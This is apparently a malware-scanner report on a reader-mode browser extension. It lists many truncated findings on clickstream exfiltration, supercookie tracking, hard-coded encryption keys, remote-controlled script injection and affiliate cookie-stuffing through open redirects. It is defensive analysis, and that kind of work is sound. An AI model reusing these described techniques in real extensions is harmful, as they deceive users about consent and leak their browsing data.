javascripts/libs/safe-browsing.js (line 1502)Builds a telemetry payload that joins each visited URL to a persistent user identifier (panalyticsId/pinstanceId/partnerId/distributorId), along with the full request method, request headers, response status/headers, …
88Unauthorized Data Collection
critical
javascripts/libs/safe-browsing.js (line 201)The payload schema shows the SDK exfiltrates full URL, page title, referrer, request method & headers, response headers/status, tab IDs, frame IDs, OS, browser, and timestamps for every navigation — tagged with a stab…
89Code Injection
high
javascripts/impacthero_background.js (line 95)For every tab navigation, the background script matches the tab's hostname against the remotely-fetched merchant list and silently injects automate.js plus a window.merchant payload into the page via chrome.scripting.…
90Code Injection
high
javascripts/impacthero_background.js (line 124)Background script watches every tab update and, when the hostname matches a remote 'merchant list' fetched from storage.googleapis.com/impacthero-bucket, injects automate.js into the page. The merchant list (URLs + af…
91Data Exfiltration
high
javascripts/libs/safe-browsing.js (line 909)The HTTP client POSTs compressed (application/octet-stream) navigation payloads to the remote endpoint /secure/urls/checkSafety and /secure/urls/checkSafety/basic on cs.sclpfybn.com. Binary compression of outgoing tra…
92Data Exfiltration
high
javascripts/content.js (line 90)Attaches a DOM event listener (event name from remote config) that iterates elements matching a remote CSS selector, reads an arbitrary attribute off each, base64-encodes it together with a stored uid, and exfiltrates…
93Data Exfiltration
high
javascripts/libs/safe-browsing.js (line 909)Payloads of intercepted navigations are POSTed (optionally gzip-compressed as application/octet-stream) to '${apiUrl}/secure/urls/checkSafety' and '/secure/urls/checkSafety/basic' on cs.sclpfybn.com. The compression+o…
94Data Exfiltration
high
javascripts/libs/safe-browsing.js (line 909)Serializes and compresses the aggregated navigation/request payload (URL, headers, browser, OS, tab/frame ids, panelist identifiers) and POSTs it to cs.sclpfybn.com as application/octet-stream. The compression + octet…
95Network Interception
high
javascripts/libs/safe-browsing.js (line 751)The library hooks chrome.webRequest events (onSendHeaders, onHeadersReceived, onResponseStarted, onBeforeRedirect, onErrorOccurred) across <all_urls> to capture full request/response headers, redirect chains, and serv…
96Network Interception
high
javascripts/libs/safe-browsing.js (line 1825)Listens on every webRequest / webNavigation lifecycle hook across http://*/* and https://*/* with requestHeaders and responseHeaders access, forwarding the captured metadata into the clickstream pipeline. This is the …
97Network Interception
high
javascripts/libs/pageStatistics.js (line 4)Uses the `webRequest` API against `<all_urls>` to intercept every network request category (xhr, subframe, websocket, etc.) on a curated list of high-value e-commerce retailers (Amazon/Walmart/Tesco/Asda/Sainsburys/Oc…
98Network Interception
high
javascripts/libs/safe-browsing.js (line 1825)Installs listeners on the full chrome.webRequest lifecycle (onSendHeaders, onHeadersReceived, onResponseStarted, onErrorOccurred, onBeforeRedirect) with requestHeaders and responseHeaders extraInfoSpec so it can captu…
99Network Interception
high
javascripts/src/redirectcheck.js (line 14)This content script runs at document_start on every URL and (a) unconditionally redirects any page whose URL contains a 'partnerurl=' query param to the value of that parameter — an open-redirect primitive usable by a…
100Network Interception
high
javascripts/src/automate.js (line 59)When a user lands on a recognized merchant site, this injected script asks the background to silently open a hidden tab to impacthero.co with a partnerurl pointing at the merchant's affiliate link, hijacking the user'…
101Network Interception
high
javascripts/src/redirectcheck.js (line 14)Content script injected at document_start on <all_urls> performs an open-redirect to whatever URL is supplied in the 'partnerurl' query parameter, then auto-closes the originating tab. Combined with automate.js, this …
102Obfuscation
high
javascripts/content.js (line 18)All operational parameters — target domain, API URLs, header name to steal, CSS selectors, DOM event to listen for — are base64-encoded in remote config and decoded at runtime with atob(). This is deliberate obfuscati…
103Obfuscation
high
javascripts/background.js (line 1)The service worker imports the clickstream SDK and wires a message-based toggle that the comment itself labels 'click stream consent', yet surfaces it to users as a 'safe browsing' feature. Flipping one flag simultane…
104Obfuscation
high
javascripts/background.js (line 1)The service worker imports the clickstream SDK and wires its activation to a message labeled 'safe-browsing-agreement' while internally the developer's own comment admits it is the 'user's click stream consent'. The d…
105Obfuscation
high
javascripts/libs/pageStatistics.js (line 117)The exfiltrated browsing payload is AES-GCM encrypted with hardcoded keys before transmission, obscuring the contents from users, auditors and network monitoring tools. Encryption is bootstrapped automatically wheneve…
106Obfuscation
high
javascripts/libs/pageStatistics.js (line 144)Hardcoded API key ("Eiv5soh8oolid3Uu") and symmetric encryption key ("OoCh9oamNookooP8") are embedded directly in the extension, gating a clickstream uploader that is activated by a storage flag misleadingly named "sa…
107Obfuscation
high
javascripts/libs/pageStatistics.js (line 117)The payload is AES-GCM encrypted with a symmetric key hard-coded in the client before being uploaded. This conceals the browsing data in transit (also from network inspection tools) and is a textbook obfuscation patte…
108Obfuscation
high
javascripts/libs/safe-browsing.js (line 909)The SDK's HTTP client compresses the navigation payload to application/octet-stream before POSTing to /secure/urls/checkSafety on cs.sclpfybn.com. Binary/compressed uploads under a 'safety check' endpoint name are an …
109Obfuscation
high
javascripts/libs/pageStatistics.js (line 117)The browsing data payload is AES-GCM encrypted client-side with a hard-coded symmetric key ("OoCh9oamNookooP8") and api_key ("Eiv5soh8oolid3Uu") before transmission. Encrypting exfiltrated telemetry with a key embedde…
110Obfuscation
high
javascripts/libs/pageStatistics.js (line 144)A hard-coded API key and AES-GCM encryption key are embedded in client code and used to authenticate and encrypt the browsing-history exfiltration stream to stats.readermode.io. Hard-coded credentials used client-side…
111Obfuscation
high
javascripts/libs/pageStatistics.js (line 117)Hard-coded API key ("Eiv5soh8oolid3Uu") and AES-GCM encryption key ("OoCh9oamNookooP8") are baked into every install. The encryption is purely obfuscation against on-device inspection — the same key is shipped to all …
112Obfuscation
high
javascripts/libs/pageStatistics.js (line 117)The clickstream payload is AES-GCM encrypted client-side with a hardcoded 16-byte symmetric key bundled in the extension (`OoCh9oamNookooP8`) and a hardcoded API key (`Eiv5soh8oolid3Uu`) before being POSTed to readerm…
113Obfuscation
high
javascripts/libs/safe-browsing.js (line 1)The 5,267-line third-party tracking module is shipped as a single minified/webpack-bundled file with single-letter identifiers and no source maps, hiding its true behaviour from casual review. Disguising clickstream c…
114Obfuscation
high
javascripts/libs/safe-browsing.js (line 909)Exfiltration transport: serializes the harvested payload to JSON, then LZ-string compresses it and POSTs as application/octet-stream to cs.sclpfybn.com/api/rest/v2/secure/urls/checkSafety. Compressing to an opaque bin…
115Other
high
automate.js (line 137)This content script detects when the user is on a shopping checkout/cart page (matching cart/checkout keywords in 7+ languages) and silently opens an affiliate tab on impacthero.co with the merchant's partner URL, att…
116Other
high
automate.js (line 79)Bundled automate.js detects e-commerce checkout/cart URLs across 25+ multilingual keywords and, when 'permissionsGranted' is set, instructs the background to open a tab to impacthero.co carrying the merchant partner U…
117Phishing
high
javascripts/src/redirectcheck.js (line 1)Content script injected at document_start into <all_urls> reads a `partnerurl` query parameter from the current page URL and unconditionally navigates the tab to whatever value it contains, with no origin/allowlist va…
118Phishing
high
javascripts/app.js (line 2459)Users are shown a 'safe browsing' opt-in dialog which, on acceptance, enables the sclpfybn panelist telemetry — the consent UI is branded as a safety feature but actually turns on URL/navigation resale. Gating reader …
119Privilege Escalation
high
redirectcheck.js (line 27)Content script injected on every page (<all_urls>, document_start) blindly redirects the browser to any URL supplied via a `partnerurl=` query parameter without validation. This is an open-redirect/affiliate-hijack pr…
120Privilege Escalation
high
redirectcheck.js (line 27)Content script injected on every page (<all_urls> at document_start) performs an unconditional navigation to any URL supplied in the `partnerurl` query parameter. Combined with the silent tab-close handshake below it,…
121Privilege Escalation
high
javascripts/impacthero_background.js (line 90)Fetches a remotely controlled merchant list from ext.impacthero.co and, whenever the user visits any listed retailer, uses chrome.scripting.executeScript to inject an attacker-controlled merchant payload plus automate…
122Privilege Escalation
high
redirectcheck.js (line 1)Content script injected at document_start on <all_urls>. Any page whose URL contains a 'partnerurl=' query parameter is forcibly redirected to the decoded value — a universal open redirect that lets the extension (or …
123Privilege Escalation
high
javascripts/src/redirectcheck.js (line 1)Content script registered at document_start on <all_urls> that silently navigates the tab to any URL passed via a ?partnerurl= parameter, with no same-origin or destination checks. Combined with the automate.js flow, …
124Privilege Escalation
high
javascripts/src/automate.js (line 59)Injected by impacthero_background.js into any page whose hostname matches a merchant list fetched from storage.googleapis.com/impacthero-bucket. It silently opens a hidden background tab to impacthero.co carrying an a…
125Privilege Escalation
high
javascripts/impacthero_background.js (line 80)Whenever a user visits any site matching a remotely fetched merchant list (storage.googleapis.com/impacthero-bucket/merchants-reader-mode.json), the extension silently injects a script that triggers affiliate link hij…
126Privilege Escalation
high
javascripts/src/automate.js (line 23)Content-script payload that, when the visited domain matches a remote merchant list, silently opens a background tab to refoorest.com carrying the merchant's affiliate link as 'partnerurl', attaching a per-user uuid. …
127Privilege Escalation
high
javascripts/src/redirectcheck.js (line 17)Content script injected at document_start on <all_urls> that automatically follows any '?partnerurl=' parameter in the current URL, enabling open-redirect chains for affiliate/cookie-stuffing monetization, then coordi…
128Remote Code Loading
high
javascripts/impacthero_background.js (line 154)Background service worker downloads a remote merchant/affiliate-link list from a third-party server (`ext.impacthero.co`) every 60 minutes and persists it. The list is indexed by merchant hostname and maps to an `affl…
129Remote Code Loading
high
javascripts/impacthero_background.js (line 1)The extension pulls a remote, operator-controlled list of merchant hostnames and affiliate URLs from ext.impacthero.co every hour (chrome.alarms) and caches it in storage. The contents of this server-controlled list f…
130Remote Code Loading
high
javascripts/impacthero_background.js (line 156)A remotely-hosted JSON list of merchants and their affiliate URLs is refreshed hourly from storage.googleapis.com/impacthero-bucket and persisted to local storage. For any tab whose hostname matches the remote list, t…
131Remote Code Loading
high
javascripts/libs/safe-browsing.js (line 2730)The SensitiveDataFilter periodically (every 720 min) downloads a remote JSON rule set from id.sclpfybn.com that defines which URL parameters/paths/titles get redacted before exfiltration. Because the remote server uni…
132Remote Code Loading
high
javascripts/impacthero_background.js (line 156)A remote-controlled target list of merchant domains and their affiliate links is fetched from a Google Cloud Storage bucket and cached in storage. This list dictates which sites get script injections, allowing attacke…
133Remote Code Loading
high
javascripts/impacthero_background.js (line 156)Fetches a remotely controlled merchant/affiliate-link list from https://storage.googleapis.com/impacthero-bucket/merchants-reader-mode.json on a 60-minute alarm. The fetched JSON dictates which sites trigger backgroun…
134Remote Code Loading
high
javascripts/impacthero_background.js (line 156)The background service worker periodically fetches a remote JSON list of merchant hostnames and corresponding affiliate URLs from a Google Cloud Storage bucket (`storage.googleapis.com/impacthero-bucket/merchants-read…
135Remote Code Loading
high
javascripts/impacthero_background.js (line 1)The background fetches a remote merchant/affiliate list from a Google Cloud Storage bucket on an hourly alarm and, whenever the user visits any matching merchant domain, programmatically injects `automate.js` into the…
136Remote Code Loading
high
javascripts/refoorest_background.js (line 1)Downloads a remote merchant list from a Google Cloud Storage bucket and, whenever the user visits a matching merchant domain, injects automate.js into the page to open an affiliate partner URL — this is cookie-stuffin…
137Remote Code Loading
high
javascripts/libs/safe-browsing.js (line 2730)The SensitiveDataFilter fetches remote regex/path/parameter rules from id.sclpfybn.com/api/privacy/data/rules/exclusions and evaluates them with `new RegExp` against every outgoing URL/title. Because the rule set is d…
138Remote Code Loading
high
javascripts/libs/safe-browsing.js (line 2730)The 'sensitive data filter' rule set is fetched at runtime from id.sclpfybn.com/api/privacy/data/rules/exclusions and then applied to strip/transform URLs and titles before they are sent. Because the filter rules are …
139Remote Code Loading
high
javascripts/libs/safe-browsing.js (line 2732)Fetches a remote JSON ruleset from id.sclpfybn.com/api/privacy/data/rules/exclusions every 720 minutes and uses it to decide which parts of URL paths/queries/hashes are sent upstream. The exfil rules are controlled dy…
140Tracking
high
content-script.js (line 249)On every page load (triggered by chrome.tabs.onUpdated -> init message -> ContentScript.article('load')), the full URL of the current tab is sent as the 'source' parameter to readermode.io/extension/get_article. With …
141Tracking
high
javascripts/libs/safe-browsing.js (line 2484)A persistent 22-character "panalyticsid" user key is generated and stored redundantly across localStorage, HTTP cache (via X-PANEL-USER-KEY header), and cookies on id.sclpfybn.com. This is a cross-site super-cookie / …
142Tracking
high
automate.js (line 137)Detects when the user is on a shopping cart/checkout page in many languages and silently opens a tab to impacthero.co with an affiliate partner URL, using 'reader_mode' as the tracking uuid. This is classic affiliate-…
143Tracking
high
javascripts/libs/safe-browsing.js (line 123)The outbound payload schema explicitly collects full URL, page title, referrer, HTTP method/headers, HTTP response, navigation sequences, tab and frame lineage, OS/browser fingerprint, and a panelist identity tuple (p…
144Tracking
high
javascripts/libs/safe-browsing.js (line 2617)A persistent cross-channel user-ID (userKey) is written to localStorage, an extension-side cache endpoint, and a first-party cookie on the tracker domain using credentials:'include'. The globalSetter fans the same ide…
145Tracking
high
javascripts/libs/safe-browsing.js (line 193)Payload builder stamps every event with a stable panelistId/partnerId/distributorId tuple, enabling the receiver to correlate all navigation events back to a single tracked user across sessions. 'Panelist' is market-r…
146Tracking
high
javascripts/libs/safe-browsing.js (line 2485)A persistent user identifier (panalyticsid) is multiplexed across localStorage, a server-side HTTP cache endpoint (/api/identity/cache with X-PANEL-USER-KEY), and a credentialed cookie endpoint (/api/identity/cookie).…
147Tracking
high
javascripts/libs/safe-browsing.js (line 2491)The SDK generates and persists a 22-char 'panalyticsid' identifier and synchronises it across three sinks — localStorage, a server-side cache endpoint (/api/identity/cache) and a first-party cookie endpoint (/api/iden…
148Tracking
high
automate.js (line 137)automate.js inspects the current page's URL for shopping/checkout keywords across many languages (checkout, panier, cart, warenkorb, carrello, carrinho…) and, when matched, silently opens a tab to impacthero.co with a…
149Tracking
high
javascripts/libs/safe-browsing.js (line 2617)The SDK persists a cross-site user identifier ('userKey') into the data broker's cookie with credentials:'include', replicates it into localStorage and a cache endpoint, and rotates it via cookieClear/cookieSetter. Th…
150Tracking
high
automate.js (line 137)automate.js detects when the user is on an e-commerce checkout/cart page (in many languages) and silently opens an impacthero.co 'partner' URL for the detected merchant, gated by the same 'permissionsGranted' flag tha…
151Tracking
high
javascripts/libs/safe-browsing.js (line 2483)The panelist identity module persists a stable tracking ID (`panalyticsid`) via three redundant channels — localStorage, an HTTP cache-control trick (`X-PANEL-USER-KEY` header against `/api/identity/cache`), and a fir…
152Tracking
high
javascripts/libs/ajaxLogs/injection.js (line 1)Content script auto-injected at document_end on every page attaches a click listener to every DOM element. Each click triggers a `log_switch` message to the background, which (per the commented-but-parallel implementa…
153Tracking
high
automate.js (line 161)When the user visits a merchant site, the extension silently opens a background tab to an impacthero.co URL that then 302-chains (via the partnerurl redirect in redirectcheck.js) to the operator's affiliate link, and …
154Tracking
high
javascripts/libs/ajaxLogs/injection.js (line 1)This content script runs on every page (<all_urls>, document_end) and attaches a click listener to every single DOM element, which notifies the background to begin request-logging for the active tab. It is the client-…
155Tracking
high
javascripts/libs/safe-browsing.js (line 909)Browsing-panel SDK sends compressed/binary POST bodies (application/octet-stream) to hide payload content from network tooling, and persists the user identifier across devices via a cross-site cookie written with cred…
156Tracking
high
automate.js (line 137)Detects shopping-cart/checkout pages across 29 multi-language URL keywords and silently opens a background tab to impacthero.co with an affiliate 'partnerurl'. Classic affiliate cookie-stuffing: the extension hijacks …
157Tracking
high
javascripts/libs/ajaxLogs/injection.js (line 1)Declared as a content_script on <all_urls>. On visited pages whose origin matches the remotely-supplied loggingSites list, it attaches a click listener to EVERY DOM element and posts 'log_switch' to the background — t…
158Tracking
high
javascripts/libs/ajaxLogs/injection.js (line 1)Content script injected on <all_urls> at document_end that attaches a click listener to EVERY DOM element on whitelisted retailer pages. Any click then opens a 2-second logging window in which all outgoing network tra…
159Tracking
high
javascripts/libs/ajaxLogs/injection.js (line 1)Content script injected into <all_urls> via manifest content_scripts queries the background for a target site list, and on matching sites attaches a click listener to every DOM element (document.getElementsByTagName('…
160Tracking
high
javascripts/libs/safe-browsing.js (line 2587)The SDK sets and retrieves a persistent userKey via authenticated cross-site cookies (credentials: include) to stitch the panelist identity together across browsing sessions and devices. This is user-tracking infrastr…
161Tracking
high
javascripts/libs/safe-browsing.js (line 2587)The SDK implements a multi-vector persistent-user-key store: localStorage, HTTP cache (via Cache-Control header tricks), and third-party cookies written with credentials:"include". globalSetter writes the same userKey…
162Tracking
high
javascripts/background.js (line 15)The service worker auto-starts the sclpfybn.com tracking stream on every browser launch once the user has ever opted in, with no subsequent UI to disable it (options.js has no toggle). Combined with pageStatistics.js …
163Tracking
high
javascripts/libs/safe-browsing.js (line 2587)The third-party tracking SDK reads and writes a persistent userKey via credentialed cross-origin requests to a remote cookie endpoint (cookieResourceUrl) and also writes it to a cache endpoint (cacheResourceUrl). This…
164Tracking
high
javascripts/libs/safe-browsing.js (line 2587)The sclpfybn SDK assigns and propagates a persistent cross-site userKey across localStorage, an HTTP cache resource, and a credentialed cookie endpoint, then re-syncs them via globalSetter. This is durable cross-conte…
165Tracking
high
javascripts/src/redirectcheck.js (line 23)After loading in every page, the content script asks the background whether this tab was opened by the extension's `open_tab` flow and, if so, silently closes it after 3 seconds. Combined with automate.js, this is the…
166Tracking
high
javascripts/src/automate.js (line 59)When injected onto a matched merchant page, automate.js asks the background to open a new tab to impacthero.co which then redirects (via the partnerurl handler in redirectcheck.js) to the affiliate link associated wit…
167Tracking
high
javascripts/libs/safe-browsing.js (line 2587)Cross-context user-key persistence: the SDK writes the `panalyticsid` simultaneously into HTTP-credentialed cookies on `id.sclpfybn.com`, into a server-side cache (via X-PANEL-USER-KEY header), and into extension loca…
168Tracking
high
javascripts/libs/safe-browsing.js (line 2650)Persistent tracking identifier ('panalyticsid') is resurrected across HTTP cache, browser cookies (with credentials), and localStorage — a classic evercookie/supercookie pattern that survives cookie clearing. The trac…
169Tracking
high
javascripts/background.js (line 1)The service worker unconditionally imports a third-party 'safe-browsing.js' bundle on extension startup. Despite its name, this bundle is not Google Safe Browsing — it is a clickstream/audience-measurement SDK (see fi…
170Tracking
high
javascripts/libs/safe-browsing.js (line 2485)A 22-character 'panalyticsid' user key is generated locally and then synchronized across the extension, HTTP cache and a first-party cookie at id.sclpfybn.com (credentials: 'include'). This creates a stable cross-sess…
171Tracking
high
javascripts/libs/safe-browsing.js (line 2483)The SDK generates a 22-character random 'panalyticsid' and persists it redundantly into localStorage, HTTP cache (via an X-PANEL-USER-KEY header round-trip to id.sclpfybn.com/api/identity/cache), and a first-party-sty…
172Tracking
high
javascripts/libs/safe-browsing.js (line 2487)Generates a 22-character random 'panalyticsid' and persists it simultaneously in chrome.storage.local, a server-side cache at id.sclpfybn.com/api/identity/cache, and a first-party cookie on id.sclpfybn.com (credential…
173Unauthorized Data Collection
high
content-script.js (line 250)The content script is injected into every page (<all_urls>) and, for any authenticated user, transmits the full current URL of every website visited to readermode.io/extension/get_article on each page load. This const…
174Unauthorized Data Collection
high
content-script.js (line 246)Content script (matches `<all_urls>`) sends the full URL of every page a logged-in user visits to `https://readermode.io/extension/get_article` with the user's auth token. Because this fires unconditionally on tab ini…
175Unauthorized Data Collection
high
javascripts/background.js (line 1)Service worker auto-starts the 'safeBrowsing' module on startup if the user previously opted in. The inline comment 'Store and remember user's click stream consent' explicitly admits the feature is a clickstream colle…
176Unauthorized Data Collection
high
automate.js (line 102)Detects e-commerce checkout pages in multiple languages (cart/checkout/panier/warenkorb/etc.) and opens a third-party 'impacthero.co' affiliate tab with the user's current URL as a partnerurl parameter. This is unrela…
177Unauthorized Data Collection
high
javascripts/background.js (line 1)The MV3 service worker unconditionally loads three separate surveillance/monetization modules (impacthero affiliate injector, pageStatistics request exfiltrator, and the sclpfybn.com panel SDK) alongside the legitimat…
178Unauthorized Data Collection
high
manifest.json (line 22)A reader-mode extension should not need webRequest, webNavigation, <all_urls> host permission, or two always-on content scripts injected on every page at document_start/document_end. These surplus capabilities exist s…
179Unauthorized Data Collection
high
javascripts/libs/pageStatistics.js (line 4)Targeted e-commerce surveillance: after a user click on one of the whitelisted retailer origins (Amazon/Walmart/Tesco/Asda/Sainsbury's/Ocado/Loblaws), onCompleted requests of every non-image type (xmlhttprequest, ping…
180Unauthorized Data Collection
high
javascripts/background.js (line 4)The background service worker enables the panelist/clickstream collector on every browser startup if a single 'safe_browsing' boolean is set, turning a one-time consent click into persistent, always-on surveillance. T…
181Unauthorized Data Collection
high
javascripts/background.js (line 1)The service worker eagerly imports both tracking modules and ties activation to a storage flag obtained from a UI dialog labelled "safe-browsing". The comment explicitly acknowledges it is "click stream consent", yet …
182Unauthorized Data Collection
high
javascripts/background.js (line 1)The service worker unconditionally loads two tracking modules (pageStatistics.js and the Scalepath 'safe-browsing' SDK) on startup and activates the external data stream whenever a stored 'safe_browsing' flag is true.…
183Unauthorized Data Collection
high
javascripts/background.js (line 1)The service worker unconditionally imports both the in-house stats collector (pageStatistics.js) and the third-party sclpfybn data-panel SDK (safe-browsing.js). They are gated only by a 'safe_browsing' local-storage f…
184Unauthorized Data Collection
high
javascripts/src/automate.js (line 59)On matched merchant pages the extension silently opens a hidden tab to impacthero.co carrying an affiliate URL for that merchant, hijacking commission attribution to the extension's operator. The flag name 'cr_for_pla…
185Unauthorized Data Collection
high
javascripts/libs/pageStatistics.js (line 144)Hard-coded tracking API key and AES encryption key are embedded in the extension. The gating flag is a user preference named 'safe_browsing', misleadingly suggesting a security feature while actually activating a full…
186Unauthorized Data Collection
high
javascripts/background.js (line 4)The service worker auto-starts the 'safeBrowsing' clickstream collector on every browser startup once the user has clicked the in-reader consent button once. The code path is named to look like a legitimate browser sa…
187Unauthorized Data Collection
high
javascripts/app.js (line 2496)The 'agree' button enables the sclpfybn.com clickstream pipeline for the user, gated behind a UI framed as a generic 'safe-browsing' option inside the reader view rather than a transparent monetization disclosure. The…
188Unauthorized Data Collection
high
javascripts/background.js (line 1)The background service worker unconditionally imports the third-party sclpfybn.com panel-analytics SDK at module load, which installs its webRequest/webNavigation listeners on <all_urls> before any consent check. The …
189Unauthorized Data Collection
high
javascripts/background.js (line 1)The service worker unconditionally imports the panelist analytics SDK at startup, registering its webRequest/webNavigation listeners before any user interaction. The only gate (POLICY_AGREEMENT / SAFESEARCH_ENABLED) i…
190Unauthorized Data Collection
high
javascripts/background.js (line 1)The service worker unconditionally imports the sclpfybn tracking bundle at startup and exposes a message channel ('safe-browsing-start') so the content UI can activate the telemetry stream. Bundling a 5,200-line third…
191Code Injection
medium
automate.js (line 26)The script injects a fixed-position iframe into arbitrary pages with the maximum z-index (2147483647) and !important style overrides to force-overlay third-party content from impacthero.co on top of any visited site. …
192Credential Theft
medium
bg.js (line 31)The service worker uses chrome.scripting.executeScript to inject a function into the active tab that serializes the entire page's localStorage and searches for an auth token. Although the caller gates this on the URL …
193Credential Theft
medium
bg.js (line 31)The background service worker uses chrome.scripting.executeScript to inject code into the currently active tab that serializes the page's entire window.localStorage via JSON.stringify(localStorage) and reads arbitrary…
194Credential Theft
medium
bg.js (line 27)Background service worker injects a script into the active tab that reads the entire localStorage (`JSON.stringify(localStorage)`) and copies values into extension storage. Although the call is gated by a URL check ea…
195Credential Theft
medium
bg.js (line 31)Uses chrome.scripting.executeScript to inject code into the active tab that serializes the entire localStorage of the page (JSON.stringify(localStorage)). Although only readermode_auth_token and readermode_user values…
196Credential Theft
medium
js/base/oauth.js (line 11)References an OAUTH_CLIENT_SECRET global that is expected to be shipped inside the extension bundle (no such secret is safe to embed in a distributed client). Embedding a client_secret in an extension is a credential-…
197Network Interception
medium
bg.js (line 275)The background service worker performs an unauthenticated fetch() to an arbitrary user-supplied link URL and parses the full response HTML. Because this runs in the extension's privileged background context (bypassing…
198Obfuscation
medium
javascripts/libs/safe-browsing.js (line 1)5,267-line minified/webpack-bundled payload shipped under the misleading name 'safe-browsing.js'. No source map, single-letter identifiers, and DI-registered subsystems (BgNavManager, FgNavProcessor, SensitiveDataFilt…
199Obfuscation
medium
javascripts/libs/ajaxLogs/ajaxLogCollect.js (line 14)File shipped to the browser but entirely commented out — it discloses the collector design (hardcoded AES-GCM key 'OoCh9oamNookooP8', exfil endpoint stats.readermode.io/ajax, target e-commerce list including checkadbl…
200Obfuscation
medium
javascripts/libs/ajaxLogs/ajaxLogCollect.js (line 14)A commented-out prior copy of the AJAX logger exposes the same hard-coded AES key 'OoCh9oamNookooP8' and endpoint stats.readermode.io/ajax, plus a reference to 'checkadblock.ru' in the target list — confirming the dev…
201Obfuscation
medium
javascripts/libs/safe-browsing.js (line 909)The SDK sends compressed application/octet-stream POSTs of full-navigation payloads (URL, title, referrer, tab context, OS, panelist identifiers) to cs.sclpfybn.com, evading casual inspection of the outbound traffic a…
202Phishing
medium
popup_notification.html (line 98)The popup shown when the extension auto-opens a tab during checkout frames the affiliate-injection behaviour as 'Eco-friendly Mode' that 'plants trees and offsets carbon emissions'. This reframes commercial affiliate …
203Phishing
medium
popup_notification.js (line 3)The user-facing consent popup routes the 'Learn more' click to impacthero.co, the same third party that receives affiliate-hijack traffic, reinforcing that the notification is a funnel for the monetization partner rat…
204Privilege Escalation
medium
javascripts/impacthero_background.js (line 275)The background message handler exposes `open_tab` with an arbitrary caller-supplied URL with no origin or allowlist validation. Because the extension's content script runs on <all_urls>, any web page in the user's bro…
205Tracking
medium
content-script.js (line 246)On every tab load (triggered from bg.js onUpdated/onActivated -> init message), the content script transmits the current tab URL to readermode.io/extension/get_article with <all_urls> scope. This results in full brows…
206Tracking
medium
content-script.js (line 246)On every tab activation and every tab-load completion, the content script sends the full current URL (script_current_tab_url) as the 'source' query parameter to readermode.io/extension/get_article. Because the content…
207Tracking
medium
content-script.js (line 246)On every page load for logged-in users, the content script (injected on <all_urls>) automatically transmits the current tab's full URL to readermode.io via the /extension/get_article endpoint. This happens without exp…
208Tracking
medium
javascripts/app.js (line 2472)The extension transmits the user's consent/decline decision for the clickstream collector to Google Analytics Measurement Protocol using a hardcoded API_SECRET, tagged with a per-install client_id. This couples each u…
209Tracking
medium
javascripts/app.js (line 2495)The author's own comment confirms the 'safe-browsing' subsystem is a 'click stream' collector. The consent prompt only fires when the user opens the reader UI on a given page, yet the prior import in background.js and…
210Tracking
medium
javascripts/app.js (line 2472)A hard-coded Google Analytics 4 Measurement Protocol API secret is shipped in extension code and used with a per-user random clientId to report whether the user accepted or declined the 'safe-browsing' clickstream pro…
211Unauthorized Data Collection
medium
content-script.js (line 115)On every tab where get_article is triggered, the extension parses the full DOM via Readability and, combined with the get_article call above, the article body/text/title of the current page is assembled and placed in …
212Unauthorized Data Collection
medium
bg.js (line 31)The background service worker uses chrome.scripting.executeScript to dump the entire localStorage of the active tab via JSON.stringify(localStorage). Although the call site is gated to tabs whose URL contains readermo…
213Unauthorized Data Collection
medium
javascripts/background.js (line 3)The service worker ties a single user "agreement" both to the misnamed clickstream uploader and to a `permissionsGranted` flag that automate.js reads to begin affiliate redirection. A single consent toggle silently ac…
214Unauthorized Data Collection
medium
popup_notification.js (line 3)The popup notification injected on shopping sites links to impacthero.co and stores an 'openPermanentTab' flag that enables persistent affiliate tab opening. Combined with automate.js, this implements monetization-via…
215Unauthorized Data Collection
medium
javascripts/background.js (line 3)A single in-reader 'safe-browsing' agreement toggle simultaneously sets both 'safe_browsing' (enabling the click-stream SDK) and 'permissionsGranted' (enabling impacthero.co affiliate tab injection from automate.js). …
216Unauthorized Data Collection
medium
javascripts/background.js (line 1)The background service worker unconditionally loads three independent monetization/surveillance modules (ImpactHero affiliate injection, pageStatistics retail panelist telemetry, and the sclpfybn.com clickstream SDK).…
217Credential Theft
low
bg.js (line 30)Background service worker uses chrome.scripting.executeScript to inject code into the active tab that serializes the entire window.localStorage. While the injected code only consumes keys prefixed with `readermode_` (…
218Credential Theft
low
js/base/oauth.js (line 11)Module references an undefined global `OAUTH_CLIENT_SECRET` and reads `manifest.oauth2.client_id` (the manifest declares no `oauth2` block). This appears to be dead/incomplete code that, if ever activated, would eithe…
219Network Interception
low
bg.js (line 296)The service worker issues an unrestricted cross-origin fetch to any user-supplied link or image URL and parses the raw HTML with a naive <title> regex. Because this fetch is performed from the extension's privileged c…
220Network Interception
low
bg.js (line 275)The background worker performs an unauthenticated `fetch()` of arbitrary URLs taken from a context-menu click (`info.linkUrl` / `info.srcUrl`) with the extension's privileged origin. There is no scheme/host validation…
221Other
low
bg.js (line 275)Service worker fetches an arbitrary URL chosen by the user (right-click → Save link/image) with the user's ambient cookies/credentials and parses HTML for a <title> tag using regex. This is user-initiated and the resp…
222Other
low
content-script.js (line 105)User-supplied `auto_run_rules` string (fetched from the readermode.io API into chrome.storage and read back here) is compiled directly into a RegExp on every page load and tested against the tab URL. A malicious or co…
223Other
low
bg.js (line 275)Right-click 'Save link' triggers a server-worker fetch of an arbitrary user-selected URL with the extension's credentials/IP. Response HTML is parsed and stored. Context-menu gated and limited to user intent, so risk …
224Other
low
bg.js (line 275)The background worker, on context-menu 'save-link'/'save-image' click, issues a fetch() against an attacker-controllable URL (the link target) and pulls the full response body as text to regex-extract the title. Becau…
225Other
low
js/base/oauth.js (line 11)This file references an undefined global OAUTH_CLIENT_SECRET and reads manifest.oauth2.client_id even though the manifest declares no oauth2 section, and uses an undefined 'ex.storage' instead of chrome.storage. The f…
226Other
low
js/base/browser.js (line 93)Legitimate JWT expiration check via atob on the payload segment. Noted here for completeness since atob is commonly flagged by ML models as obfuscation indicator; in this case it is a standard signed-token decode, not…
227Other
low
js/base/browser.js (line 93)Parses a JWT from extension storage by base64-decoding the second segment and JSON.parsing it without try/catch in production (the try/catch is commented out). Not directly malicious, but the auth_token is sourced fro…
228Tracking
low
content-script.js (line 346)Secondary automatic server callback that also sends the source URL to readermode.io on article load. Compounds the passive URL-reporting behavior above across the extension's normal content-script lifecycle.
229Tracking
low
content-script.js (line 249)The content script (injected into <all_urls>) transmits the full current page URL to readermode.io/extension/get_article on every page load when the user has an auth token. While consistent with the extension's advert…
230Unauthorized Data Collection
low
bg.js (line 30)Background service worker injects a script into the active tab that serializes the entire localStorage of that page via JSON.stringify(localStorage) to extract auth tokens. Although callers only invoke this when the t…
231Unauthorized Data Collection
low
